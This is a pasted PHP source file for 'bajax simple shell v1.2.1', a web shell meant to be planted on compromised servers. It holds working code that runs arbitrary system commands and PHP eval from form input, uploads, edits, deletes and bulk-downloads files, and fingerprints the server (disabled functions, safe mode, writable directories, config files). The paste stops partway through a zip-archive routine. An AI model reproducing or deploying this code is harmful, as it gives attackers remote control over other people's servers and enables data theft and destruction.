· 8 years ago · Jan 20, 2018, 04:16 AM
1<?
2/**
3* bajax simple shell v 1.2.1
4* author wildantea
5* email :
6* web : wildantea.com
7*/
8error_reporting(0);
9session_start();
10@ini_set("max_execution_time",0);
11ob_start();
12class Bajax
13{
14 private $con;
15 private $password="";
16 private $name="Bajax v1.2.1";
17 private $datasec = array();
18 private $ctrl_dir = array();
19 private $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
20 private $old_offset = 0;
21 private $find;
22 private $ip;
23 private $pdo;
24 private $favicon="iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA21JREFUeNqMVUsotGEUPmNmMBjMYAolhBIi15VQlI0oImShbFz2f3IpysbSksKCXLKQBVlIuRXKdeE25JZbjIzLuJ//nNM/Xxj/7z91mvf7vvd93vM+53neUQGA2dPT0+Ds7Aw2mw3e399BpVIBh4eHBzw+PoLVaoWvERAQAIgIT09P8uzm5gZnZ2fXGhqbMjIy9GVlZZCSkgJqtVpAePLw8LDk4uKibMLv7IuLioogMTERMjMz5VtfXx80NjZquZQrSqOrqyvk5ORAS0sLhIeHy8LU1FRYX18XQCcnJ6U6BuZNb25uoKurS4pob2/nTxb4A4j29PPzw+npaeTY3t7GkpIS/FvU19cjVYgf1l85AHL6+PjgzMyMLNrZ2cG1tTUHsP7+fiwuLkaq/mdATm9vb5yfn8eDgwMMDg7G5eVlBWxjYwOJb7y8vMSlpaX/A+Q0Go1I3CBxhAaDARcWFvDu7g6JaxwfH0dSBE5MTHwClKZ4eXkZAwMDwcXFRSRisViEdA6WBZMeFhYGOp1OxhcXFxAZGQm8hhszNDQE8fHxsLq6apHW3d7eysKQkBBIS0sTjbEG29rapOsvLy9QUVEhG25tbUFVVRVkZ2dDb2+vSCc9PR3o+PD29gaKFljQrC+uUK/XQ2xsLHR2dsom/v7+Ut3h4aFIiisymUxA3MLk5CQUFBSAVqsVHDXlL3KKjpog+jo5OYHT01NxjdlshuPjY6l4c3NT3rNeqetwdHQk4FNTU0Dyko13d3dtirDhm6ipqYGsrCzIzc0F4hkGBwchKChIsRz/UsehtLTUvsSigX8EHyM6OlrGTH5DQwOMjo4C6RQ+UvU1vpVNQkIC0hGxsrIS8/PzlfcxMTFINCianJub+1mH7u7u4pDy8nIknvD19RWrq6s/gRKHAjg7O/sz4MDAAHZ3d8s4Li5OqaapqUmZExUVhdRAXFlZ+TdgXV0djo2NIfEnz0lJSZ88zM6xz42IiMCOjg5Hp3CX+YJl0ukGEQns7+8Lwb6+vpCXl6cQTseXjicnJ0unyZ7Q2toKxKVyfVlpAY6MjCA5Bs/Pz7Gnpwdra2sxNDTUoVmFhYXiaQJDsife39/j3t4eNjc3IznJyhWa6Q6Uv4CHhwepgpoCGo1GPGt/x8GXLPv3+flZ0h48l21JnF7/FmAA22tszHkUqewAAAAASUVORK5CYII=";
25 //file manager goes here
26 function header() {
27 // favicon
28 if(isset($_GET['fav'])){
29 $data=base64_decode($this->favicon);
30 header("Content-type:image/png");
31 header("Cache-control:public");
32 echo $data;
33 exit;
34 }
35 $r='';
36 $r.="<!DOCTYPE html><head><title>$this->name</title>";
37 $r.='<link rel="SHORTCUT ICON" type="image/png" href="'.$_SERVER['SCRIPT_NAME'].'?fav" />';
38 $r.="<style type='text/css'>
39 body {
40 background:#000;
41 font-family:Tahoma,Verdana;
42 color:#fff;
43 font-size:12px;
44 }
45 #wrapper {
46 margin:10px auto;
47 padding:20px;
48 background:#000;
49 border-top:1px solid #00A600;
50 -moz-box-shadow:inset 0 0 5px #00c6ff;
51 -webkit-box-shadow: inset 0 0 5px #00c6ff;
52 box-shadow: 0 0 5px #00A600;
53 border-radius:5px;
54 }
55 #head {
56 border-bottom:thin solid #00A600;
57 padding:7px;
58 line-height:1.3em;
59 }
60 #menu{border-bottom: 1px solid #00A600; padding: 5px; text-align: center; margin-bottom:15px;}
61 #menu a{padding: 7px 10px; color: #fff; font-size: 13px; font-weight:bold;font-family: arial; text-decoration: none; }
62 #menu a:hover{color: #00A600; text-decoration:none;-moz-border-radius:4px;-webkit-border-radius:4px;}
63 #center{
64 border:1px solid #00A600;
65 font-size:12px;
66 padding:10px;
67 text-align:center;
68 }
69 #center table {
70 width:100%;
71 font-size:12px;
72 margin:0 auto;
73 }
74 #center td {
75 border-bottom:1px solid #00A600;
76 padding:5px;
77 margin-bottom:10px;
78 }
79 #center #input {
80 border:1px solid #00A600;
81 width:400px;
82 border:1px solid #00A600;
83 background:#000;
84 color:#fff;padding:3px;
85 margin-left:10px;
86 }
87 #center #input:hover {
88 background-color:#2e2e2e;
89 }
90 #isi #but:hover {
91 color:#ffffff;
92 background:#00A600;
93 }
94 #center #cmd {
95 width:700px;
96 border:1px solid #00A600;
97 background:#000;
98 color:#fff;padding:3px;
99 }
100 #center #cmd:hover {
101 background:#2e2e2e;
102 }
103 #center #pos {
104 border-bottom:1px solid #00A600;
105 text-align:center;
106 padding:5px;
107 }
108 #pos textarea {
109 height:100px;
110 width:500px;
111 margin:5px 0 5px 0;
112 resize:none;
113 }
114 #isi {
115 border:1px solid #00A600;
116 margin:10px auto;
117 padding:10px;
118 color:#fff;
119 padding-bottom:15px;
120 line-height:1.5em;
121 }
122 #see {
123 border:1px solid #00A600;
124 margin:10px auto;
125 padding:10px;
126 padding-right:15px;
127 color:#fff;
128 padding-bottom:15px;
129 line-height:1.5em;
130 overflow-x:scroll;
131 }
132 #isi textarea {
133 line-height:1.5em;
134 border:none;
135 background:#000;
136 width:100%;
137 height:300px;
138 margin-bottom:10px;
139 font-size:12px;
140 color:#fff;
141 border-bottom:1px solid #00A600;
142 resize:none;
143 }
144 #isi input:hover {
145 color:#00A600;
146 }
147 #footer {
148 font-size:12px;
149 text-align:center;
150 }
151 .xpltab {
152 font-size:11px;
153 color:#fff;
154 font-family:Tahoma,Verdana,Arial;
155 border-right:thin solid #00A600;
156 }
157 .xpltab th {
158 background-color: #00A600;
159 padding:4px;
160 opacity:50%;
161 border:thin solid #000;
162 border-left:thin solid #00A600;
163 border-right:thin solid #000;
164 }
165 .xpltab th:hover {
166 color:#fff;
167 }
168 .xpltab td {
169 border-bottom:thin solid #00A600;
170 border-left:thin solid #00A600;
171 padding:5px;
172 }
173 a:link,a:active,a:visited {
174 text-decoration:none;
175 color:#00A600;
176 }
177 #box {
178 border:1px solid #00A600;
179 width:200px;
180 border:1px solid #00A600;
181 -moz-border-radius:3px;
182 -webkit-border-radius:3px;
183 background:#000;
184 color:#fff;padding:3px;
185 margin-left:7px;
186 margin-right:7px;
187 }
188 .tengah {
189 margin:0 auto;
190 display:block;
191 font-size:14px;
192 }
193 hr {
194 line-color:#00A600;
195 }
196 #but:hover {
197 background-color: #00A600;
198 color:#fff;
199 }
200 #but {
201 height:25px;
202 background:#222;
203 color:#fff;
204 padding:3px;
205 width:70px;
206 border-radius:4px;
207 -moz-border-radius:4px;
208 -webkit-border-radius:4px;
209 border:none;
210 margin-left:7px;
211 }
212 #but:active {
213 position:relative;
214 top:1px;
215 }
216 #col {
217 margin-left:7px;
218 float:left;
219 line-height:2.4em;
220 }
221 #val{
222 margin-left:20px;
223 float-right;
224 margin-bottom:7px;
225 }
226 #sqlbox {
227 border:1px solid #00A600;
228 width:1000px;
229 border:1px solid #00A600;
230 background:#000;
231 color:#fff;padding:3px;
232 margin-left:7px;
233 margin-right:7px;
234 }
235 .gede {
236 font-size:20px;
237 margin:0 auto;
238 color:#00A600;
239 }
240 </style></head><body><div id='wrapper'><div id='head'>
241 ".php_uname()."<br />".$_SERVER['SERVER_SOFTWARE']."<br />".get_current_user()."<br />Server Ip : ".gethostbyname($_SERVER['HTTP_HOST'])."<br />Your IP : ".$_SERVER['REMOTE_ADDR']."<br />".$this->drive()."</div>";
242 return $r;
243 }
244 function menu ()
245 {
246 $r='';
247 $menu=array("[ Files ]"=>"?act=file&dir=".$this->dir()."", "[ Mysql ]"=>"?act=mysql&dir=".$this->dir()."","Info.Ser"=>"?act=ser&dir=".$this->dir()."", "Encoder"=>"?act=encode&dir=".$this->dir()."", "Writable Dir"=>"?act=write&dir=".$this->dir()."","BD Scanner"=>"?act=bds&dir=".$this->dir()."","Config Finder"=>"?act=loc&dir=".$this->dir(),"Search File"=>"?act=search&dir=".$this->dir(),"Logout"=>"?act=out");
248 $r.="<div id='menu'>";
249 foreach($menu as $val=>$key){
250 $r.="<a href='$key'>$val</a>";
251 }
252 $r.= "</div>";
253 return $r;
254 }
255 function logo() {
256 $r='';
257 $r.="<pre><center>
258MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
259MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmhyssssydmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
260MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNds+oydmmmdhs+odNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
261MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmddhs/hNMMMMMMMMMNh/ymNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
262MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmyooosy+.mMMMMMMMMMMMMMm:sssydmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
263MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd/omNMMM+/MMMMMMMyhMMMMMMmmmmds+smNMMMMMMMMMMMMMMMMMMMMMMMMMMM
264MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd/sMMMMMMy.mMMMMMMd:MMMMMMMMMMMMNy/hNMMMMMMMMMMMMMMMMMMMMMMMMMM
265MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmh-NMMMMMMMy/ohdmdh/yMMMMMMMMMMMMMMd:hNMMMMMMMMMMMMMMMMMMMMMMMMM
266MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmyso+oMMMMMMMMMNmhhyhdmMMMMMMMMMMMMMMMMs/mMMMMMMMMMMMMMMMMMMMMMMMMM
267MMMMMMMMMMMMMMMMMMMMMMNmmNNMMNmho+ydmNNMMMMMMMMMMMMMMMMMMMMMMNddmMMMMMMMm.dNMMMMMMMMMMMMMMMMMMMMMMMM
268MMMMMMMMMMMMMMMMMMMMMMNh-+syys+odNMMMMMMMMMMMMMMMMMMMMMMMMMNoohhdMMMMMMMm-dNMMMMMMMMMMMMMMMMMMMMMMMM
269MMMMMMMMMMMMMMMMMMMMMMMmo/dhhdmMMMMMMMMMMMMMMMMMMMMMMMMMMMMs+NMMMMMMMMMMs+mMMMMMMMMMMMMMMMMMMMMMMMMM
270MMMMMMMMMMMMMMMMMMMMMMMNm/sMMMMMMMMMMdyssssymMMMMMMMMMMMMMM:dMMMMMMMMMMh/dNMMMMMMMMMMMMMMMMMMMMMMMMM
271MMMMMMMMMMMMMMMMMMMMMMMMNd+sNMMMMMMMosmNMMMm+NMMMMMMMMMMMMMy+mMMMMMMNdsodNMMMMMMMMMMMMMMMMMMMMMMMMMM
272MMMMMMMMMMMMMMMMMMMMMMMMMMms+ymNMMMN.MMMMMMMNMMMMMMMMMMMMMMMhooyhhysosdNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
273MMMMMMMMMMMMMMMMMMMMMMMMMMMNmyooosso.hMMMMMMMMMMMNMMMMMMMMMMMN+ohhdmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
274MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmmmmh:hNMMMMMMMmy/smNMMMMMNmdoymMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
275MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdooshddhyo+sdsoosyyssssymNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
276MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmdhyyhdmNMMMNNmddmmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
277MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
278 </pre></center>";
279 return $r;
280 }
281 function footer()
282 {
283 $r='';
284 $r.="</div></div><div id='footer'>Copy Left AKATSUKI ".date("Y")."</div>";
285 return $r;
286 }
287 function xpl() {
288 $r='';
289 if ($_POST['aksi']=='download' && $_POST['pilih']>0) {
290 $this->get_selected($_POST['pilih']);
291 } elseif ($_POST['aksi'] =='delete' && $_POST['pilih']>0) {
292 $this->del_selected($_POST['pilih']);
293 }
294 $dname=array();
295 $fname=array();
296 if ($dh=opendir($this->dir())) {
297 while(false !==($name=readdir($dh))) {
298 if($name !='.') {
299 (is_dir($name))?$dname[]=$name:$fname[]=$name;
300 }
301 }
302 closedir($dh);
303 }
304 sort($dname);
305 sort($fname);
306 $no=0;
307 $r.="<center>Current Location : <br />".$this->current('file');
308 $r.="</center><div id='isi'><table border=0 style='width:100%' cellspacing=0 class='xpltab'><tr><th style='width:50%;'>Name</th><th style='width:70px;'>Size</th><th style='width:100px;'>Owner : Group</th><th style='width:80px;'>Permission</th><th style='width:50px;'>Writable</th><th style='100px;'>Modified</th><th>Action</th>";
309 foreach( $dname as $folder )
310 {
311 $own=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($this->dir().$folder)):"0";
312 $group=function_exists('posix_getpwuid')?posix_getpwuid(filegroup($this->dir().$folder)):"0";
313 $owner=$own['name'].":".$group['name'];
314 $write=is_writable($this->dir().$folder)?"Yes":"No";
315 $r.='<form method="post" action="" name="aksi_sel">';
316
317 if($folder =='..')
318 {
319 $pwd=$this->up($this->dir());
320 $r .="<tr><td><a href='?act=file&dir=$pwd'>$folder </a></td><td>LINK</td><td>$owner</td><td>".substr(sprintf('%o', fileperms($this->dir().$folder)),-3)."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($this->dir().$folder))."</td></tr>";
321
322 } else {
323 $d=$this->dir();
324 $r .="<tr><td><a href='?act=file&dir=$d$folder".DIRECTORY_SEPARATOR."'>$folder /</a></td><td>".$this->getSize($this->foldersize($d.$folder))."</td><td>$owner</td><td>".(is_readable($folder)?substr(sprintf('%o', fileperms($d.$folder.DIRECTORY_SEPARATOR)),-3):'Forbidden')."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($d.$folder.DIRECTORY_SEPARATOR))."</td><td><a href='?act=ren&dir=$d&file=$folder'>Ren</a> | <a href='?act=file&act3=del&dir=$d&file=$d$folder'>Del</a> | <a href='?act=downfolder&file=".$d.$folder.DIRECTORY_SEPARATOR."'>Download</a><input id=\"pilih$no\" name=\"pilih[]\" value=\"".$d.$folder.DIRECTORY_SEPARATOR."\" type=\"checkbox\" ></td></tr>";
325 }
326 $no++;
327 }
328 foreach($fname as $file)
329 {
330 $own=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($this->dir().$file)):"0";
331 $group=function_exists('posix_getpwuid')?posix_getpwuid(filegroup($this->dir().$file)):"0";
332 $owner=$own['name'].":".$group['name'];
333 $write=is_writable($this->dir().$file)?"Yes":"No";
334 $d=$this->dir();
335 $r .="<tr><td><a href='?act=lihat&dir=$d&file=$d$file'>$file</a></td><td>".$this->getSize(filesize($file))."</td><td>$owner</td><td>".(is_readable($file)?substr(sprintf('%o', fileperms($file)),-3):'forbidden')."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($file))."</td><td><a href='?act=edit&dir=$d&file=$file'>Edit</a> | <a href='?act=ren&dir=$d&file=$file'>Ren</a> | <a href='?act=file&act2=del&dir=$d&file=".$this->replace($d.$file)."'>Del</a> | <a href='?act=downfile&file=".$this->replace($d.$file)."'>Download</a><input id=\"pilih$no\" name=\"pilih[]\" value=\"$file\" type=\"checkbox\" ></td></tr>";
336 $no++;
337 }
338 $r.= "</table><script>
339 function ls_setcheckboxall(status)
340 {
341 var id = 1;
342 var num = 43;
343 while (id <= num)
344 {
345 document.getElementById('pilih'+id).checked = status;
346 id++;
347 }
348 }
349 function ls_reverse_all()
350 {
351 var id = 1;
352 var num = 43;
353 while (id <= num)
354 {
355 document.getElementById('pilih'+id).checked = !document.getElementById('pilih'+id).checked;
356 id++;
357 }
358 }
359 </script>";
360 $r.='<br><center><input id="but" type="button" onclick="ls_setcheckboxall(true);" value="Select all"> <input id="but" type="button" onclick="ls_setcheckboxall(false);" value="Unselect"> <select style="background:#222;color:#fff" name="aksi" ><option>On selected</option><option value="delete">Delete</option><option value="download">Download</option></select> <input type="submit" id="but" name="kirim" value="confirm"></center></form></div>';
361 return $r;
362 }
363 function up($d) {
364 $s=DIRECTORY_SEPARATOR;
365 $d=explode($s,$d);
366 array_pop($d);
367 array_pop($d);
368 $r=implode($d,$s).DIRECTORY_SEPARATOR;
369 return $r;
370 }
371 function current($f) {
372 $d=explode(DIRECTORY_SEPARATOR, $this->dir());
373 $s='';
374 $r='';
375 for ($i=0; $i <count($d); $i++) {
376 $s.=$d[$i].DIRECTORY_SEPARATOR;
377 ($i==count($d)-1?$r.="<a href='?act=$f&dir=".$s."'>$d[$i]</a>":$r.="<a href='?act=$f&dir=".$s."'>$d[$i]".DIRECTORY_SEPARATOR."</a>");
378 }
379 return $r;
380 }
381 function getsize($s) {
382 if(!$s) return 0;
383 if($s>=1073741824) return(round($s/1073741824,2)." GB");
384 elseif($s>=1048576) return(round($s/1048576,2)." MB");
385 elseif($s>=1024) return(round($s/1024,2)." KB");
386 else return($s." B");
387 }
388 function foldersize($path) {
389 $total_size = 0;
390 $files = scandir($path);
391 $cleanPath = rtrim($path, '/'). '/';
392 foreach($files as $t) {
393 if ($t<>"." && $t<>"..") {
394 $currentFile = $cleanPath . $t;
395 if (is_dir($currentFile)) {
396 $size = $this->foldersize($currentFile);
397 $total_size += $size;
398 }
399 else {
400 $size = filesize($currentFile);
401 $total_size += $size;
402 }
403 }
404 }
405 return $total_size;
406 }
407 function converter()
408 {
409 $r='';
410 $r.="<div id='isi'>";
411 $opt=array("MD5"=>"md5","Hex"=>"hexa","Base64 Encoder"=>"64en","Base64 Decoder"=>"64de","SHA1"=>"sha1","URL Encoder"=>"urlen","URL Decoder"=>"urlde");
412 if(isset($_POST['submit'])&&!empty($_POST['convert']))
413 {
414 $val=$this->convert($_POST['isi']);
415 $r.="<textarea >$val</textarea>";
416 }
417 $isi="<center><form method='post' action='?act=encode'><textarea style='width:50%;height:100px;border:1px solid #00A600;' name='convert' ></textarea><br /><select name='isi' id='box'>";
418 foreach ($opt as $k=>$v) {
419 $isi.="<option value=$v>".$k."</option>";
420 }
421 $r.=$isi."<input type='submit' name='submit' style='color:#fff' id='but' value='Convert'></form></center></div>";
422 return $r;
423 }
424 function convert($isi)
425 {
426 $i=$_POST['convert'];
427 switch ($isi) {
428 case 'md5':$c=md5($i);return $c;break;
429 case 'hexa':$c=bin2hex($i);return $c;break;
430 case '64en':$c=base64_encode($i);return $c;break;
431 case '64de':$c=base64_decode($i);return $c;break;
432 case 'sha1':$c=sha1($i);return $c;break;
433 case 'urlen':$c=urlencode($i);return $c;break;
434 case 'urlde':$c=urldecode($i);return $c;break;
435 }
436 }
437 function infoser()
438 {
439 $r="<div id='isi'><table style='font-size:12px;'>";
440 $r.="<tr><td>Disable Function </td><td>: ".(ini_get('disable_functions')?ini_get('disable_functions'):"All Function Enable")."</td></tr>";;
441 $r.="<tr><td>Safe Mode </td><td>: ".(ini_get('safe_mode')?"On":"Off")."</td></tr>";
442 $r.="<tr><td>Open Base Dir </td><td>: ".ini_get('openbase_dir')."</td></tr>";
443 $r.="<tr><td>Php version </td><td>: ".phpversion()."</td></tr>";
444 $r.="<tr><td>Register Global </td><td>: ".(ini_get('register_global')?'Enable':'Disable')."</td></tr>";
445 $r.="<tr><td>Curl </td><td>: ".(extension_loaded('curl')?'Enable':'Disable')."</td></tr>";
446 $r.="<tr><td>Database Mysql </td><td>: ".(function_exists('mysql_connect')?'On':'Off')."</td></tr>";
447 $r.="<tr><td>Magic Quotes </td><td>: ".(ini_get('Magic_Quotes')?'On':'Off')."</td></tr>";
448 $r.="<tr><td>Remote Include </td><td>: ".(ini_get('allow_url_include')?'Enable':'Disable')."</td></tr>";
449 $r.="<tr><td>Disk Free Space </td><td>: ".$this->getSize(diskfreespace($this->dir()))."</td></tr>";
450 $r.="<tr><td>Total Disk Space </td><td>: ".$this->getSize(disk_total_space($this->dir()))."</td></tr>";
451 $r.="</table></div>";
452 return $r;
453 }
454 function replace($dir) {
455 return str_replace('\\','/', $dir);
456 }
457 function center()
458 {
459 $r='';
460 $r.='<div id="center"><div id="pos"><form method="post" action="?act=cmd&dir='.$this->dir().'">Command <input type="hidden" name="action" value="command"><input type="text" id="cmd" name="cmd" value=""><input type="submit" id="but" name="submit" value="Execute"></form></div><br /><div id="pos"><form method="post" action="?act=eval&dir='.$this->dir().'">PHP Eval <br /><input type="hidden" name="action" value="eval"><textarea placeholder="//don\'t include php tag" id="cmd" name="eval"></textarea><br /><input type="submit" id="but" name="submit" value="Execute"></form></div><form method="post" action="?act=file&dir='.$this->dir().'"><table><tr><td>Create Directory : <input type="hidden" name="action" value="mkdir"><input type="text" id="input" placeholder="mydir" name="dir"><input type="submit" id="but" name="submit" value="Create"></form></td><td><form method="post" action="?act=file&dir='.$this->dir().'">Create File : <input type="hidden" name="action" value="createfile"><input type="text" placeholder="sample.txt" id="input" name="file" value=""><input type="submit" id="but" name="submit" value="Create"></form></td></tr></table>
461 <div id="pos"><form method="post" action="?act=file&dir='.$this->dir().'" enctype="multipart/form-data"><input type="hidden" name="action" value="uploader">Upload File <p /> Save To <input type="text" id="input" name="tujuan" value="'.$this->dir().'"><br /><input type="file" name="berkas"><input type="submit" name="submit id="but" value="upload"></form></div></div>';
462 return $r;
463 }
464 function drive() {
465 $r='';
466 foreach (range("A", "Z") as $val) {
467 if(is_dir($val.":".DIRECTORY_SEPARATOR))
468 {
469
470 $ad=$val.":".DIRECTORY_SEPARATOR;
471 $r=$r.="<a href='?act=file&dir=$ad'>$val:".DIRECTORY_SEPARATOR."</a> ";
472 }
473 }
474 return $r;
475 }
476 function dir() {
477 if(isset($_GET['dir'])) {
478 $dir =$_GET['dir'];
479 if(is_dir($dir)){
480 chdir($dir);
481 return $dir;
482 }
483 }
484 else {
485 return getcwd().DIRECTORY_SEPARATOR;
486 }
487 }
488 function remdir() {
489 if(is_writable($_REQUEST['file']))
490 {
491 $dir=$_GET['file'];
492 $this->deleteDirectory($dir);
493 }
494 else{return $this->alert("Permission Denied !");}
495 }
496 function remfile()
497 {
498 $file=$_GET['file'];
499 if(is_file($file)){
500 unlink($file);
501 }else{ return $this->alert("Permission Denied");}
502 }
503 function editfile($file)
504 {
505 if(!empty($_POST['rename']))
506 {
507 rename($_POST['file'],$_POST['rename']);
508 }
509 $fp=fopen($_POST['rename'],'w');
510 if(!$fp)return 0;
511 fwrite($fp, stripslashes($_POST['isi']));
512 fclose($fp);return 1;
513
514 }
515 //rename file to new name
516 function rename($file)
517 {
518 if(!empty($_POST['rename']))
519 {
520 if(rename($_POST['file'],$_POST['rename']));
521 return 1;return 0;
522 }
523 }
524 function alert($text) {
525 $r="<script>alert('$text');</script>";
526 return $r;
527 }
528 function deleteDirectory($dir) {
529 if (!file_exists($dir)) return true;
530 if (!is_dir($dir) || is_link($dir)) return unlink($dir);
531 foreach (scandir($dir) as $item) {
532 if ($item == '.' || $item == '..') continue;
533 if (!$this->deleteDirectory($dir . "/" . $item)) {
534 chmod($dir . "/" . $item, 0777);
535 if (!$this->deleteDirectory($dir . "/" . $item)) return false;
536 };}return rmdir($dir);
537 }
538 function createfile() {
539 if(!empty($_POST['file'])) {
540 $fp=fopen($this->replace($this->dir.$_POST['file']),"w");
541 if($fp)
542 {
543 fclose($fp);
544 $r= $this->alert("file Created");
545 }
546 }
547
548 return $r;
549 }
550 function mkdir()
551 {
552 if(!empty($_POST['dir']))
553 {
554 if(mkdir($this->replace($this->dir()).$_POST['dir']))
555 return true;else return "Permission Denied";
556 }
557 }
558 function upload()
559 {
560 $r='';
561 if(!empty($_FILES['berkas']))
562 {
563 $dest=$this->replace($_POST['tujuan']);
564 $name=$dest.$_FILES['berkas']['name'];
565 if(move_uploaded_file($_FILES['berkas']['tmp_name'],$name))
566 return true;else $r.= $this->alert("failed");
567 }
568 return $r;
569 }
570 function seval($c) {
571 ob_start();
572 eval($c.";");
573 $h=ob_get_contents();
574 ob_end_clean();
575 return $h;
576 }
577 function phpeval() {
578 $r='';
579 $r.='<div id="isi">';
580 if(isset($_POST['submit'])&&!empty($_POST['eval']))
581 {
582 $r.=htmlspecialchars($this->seval($_POST['eval']));
583 }
584 else $r.=header("location:?act=file&dir=".$this->dir());
585 $r.='</div>';
586 return $r;
587 }
588 function execution($r) {
589 if(function_exists('system'))
590 {
591 ob_start();
592 system($r);
593 $s=ob_get_contents();
594 ob_end_clean();
595 return $s;
596 }
597 elseif(function_exists('passthru'))
598 {
599 ob_start();
600 passthru($r);
601 $s=ob_get_contents();
602 ob_clean();
603 return $s;
604 }
605 elseif(function_exists('exec'))
606 {
607 $s='';
608 exec($r,$h);
609 foreach ($h as $hasil) {
610 $s.=$hasil;
611 }
612 return $s;
613 }
614 elseif(function_exists('shell_exec'))
615 {
616 $s=shell_exec($r);
617 return $s;
618 }
619 return "All function Disable";
620 }
621 function command() {
622 $r='';
623 $r.='<div id="isi">';
624 if(!empty($_POST['cmd']))
625 {
626 $r.="<pre>".$this->execution($_POST['cmd'])."</pre>";
627 $r.="</div>";
628 }
629 else $r.=header("location:?act=file&dir=".$this->dir());
630 return $r;
631 }
632 function del_selected($files) {
633 $r='';
634 foreach ($files as $file) {
635 if (is_dir($file)) {
636 if (is_writable($file)) {
637 $this->deleteDirectory($file);
638 } else {
639 $r.=$this->alert('permission denied');
640 }
641 } elseif(is_file($file)) {
642 if (is_writable($file)) {
643 unlink($file);
644 } else {
645 $r.=$this->alert('permission denied');
646 }
647 }
648 }
649 return $r;
650 }
651 function add_dir($name) {
652 $name = str_replace("\\", "/", $name);
653 $fr = "\x50\x4b\x03\x04";
654 $fr .= "\x0a\x00";
655 $fr .= "\x00\x00";
656 $fr .= "\x00\x00";
657 $fr .= "\x00\x00\x00\x00";
658 $fr .= pack("V",0);
659 $fr .= pack("V",0);
660 $fr .= pack("V",0);
661 $fr .= pack("v", strlen($name) );
662 $fr .= pack("v", 0 );
663 $fr .= $name;
664 $fr .= pack("V",$crc);
665 $fr .= pack("V",$c_len);
666 $fr .= pack("V",$unc_len);
667 $this -> datasec[] = $fr;
668 $new_offset = strlen(implode("", $this->datasec));
669 $cdrec = "\x50\x4b\x01\x02";
670 $cdrec .="\x00\x00";
671 $cdrec .="\x0a\x00";
672 $cdrec .="\x00\x00";
673 $cdrec .="\x00\x00";
674 $cdrec .="\x00\x00\x00\x00";
675 $cdrec .= pack("V",0);
676 $cdrec .= pack("V",0);
677 $cdrec .= pack("V",0);
678 $cdrec .= pack("v", strlen($name) );
679 $cdrec .= pack("v", 0 );
680 $cdrec .= pack("v", 0 );
681 $cdrec .= pack("v", 0 );
682 $cdrec .= pack("v", 0 );
683 $ext = "\x00\x00\x10\x00";
684 $ext = "\xff\xff\xff\xff";
685 $cdrec .= pack("V", 16 );
686 $cdrec .= pack("V", $this -> old_offset );
687 $this -> old_offset = $new_offset;
688 $cdrec .= $name;
689 $this -> ctrl_dir[] = $cdrec;
690 }
691 function add_file($data, $name)
692 {
693 $name = str_replace("\\", "/", $name);
694 $fr = "\x50\x4b\x03\x04";
695 $fr .= "\x14\x00";
696 $fr .= "\x00\x00";
697 $fr .= "\x08\x00";
698 $fr .= "\x00\x00\x00\x00";
699 $unc_len = strlen($data);
700 $crc = crc32($data);
701 $zdata = gzcompress($data);
702 $zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);
703 $c_len = strlen($zdata);
704 $fr .= pack("V",$crc);
705 $fr .= pack("V",$c_len);
706 $fr .= pack("V",$unc_len);
707 $fr .= pack("v", strlen($name) );
708 $fr .= pack("v", 0 );
709 $fr .= $name;
710 $fr .= $zdata;
711 $fr .= pack("V",$crc);
712 $fr .= pack("V",$c_len);
713 $fr .= pack("V",$unc_len);
714 $this -> datasec[] = $fr;
715 $new_offset = strlen(implode("", $this->datasec));
716 $cdrec = "\x50\x4b\x01\x02";
717 $cdrec .="\x00\x00";
718 $cdrec .="\x14\x00";
719 $cdrec .="\x00\x00";
720 $cdrec .="\x08\x00";
721 $cdrec .="\x00\x00\x00\x00";
722 $cdrec .= pack("V",$crc);
723 $cdrec .= pack("V",$c_len);
724 $cdrec .= pack("V",$unc_len);
725 $cdrec .= pack("v", strlen($name) );
726 $cdrec .= pack("v", 0 );
727 $cdrec .= pack("v", 0 );
728 $cdrec .= pack("v", 0 );
729 $cdrec .= pack("v", 0 );
730 $cdrec .= pack("V", 32 );
731 $cdrec .= pack("V", $this -> old_offset );
732 $this -> old_offset = $new_offset;
733 $cdrec .= $name;
734 $this -> ctrl_dir[] = $cdrec;
735 }
736 function file() {
737 $data = implode("", $this -> datasec);
738 $ctrldir = implode("", $this -> ctrl_dir);
739 return
740 $data.
741 $ctrldir.
742 $this -> eof_ctrl_dir.
743 pack("v", sizeof($this -> ctrl_dir)).
744 pack("v", sizeof($this -> ctrl_dir)).
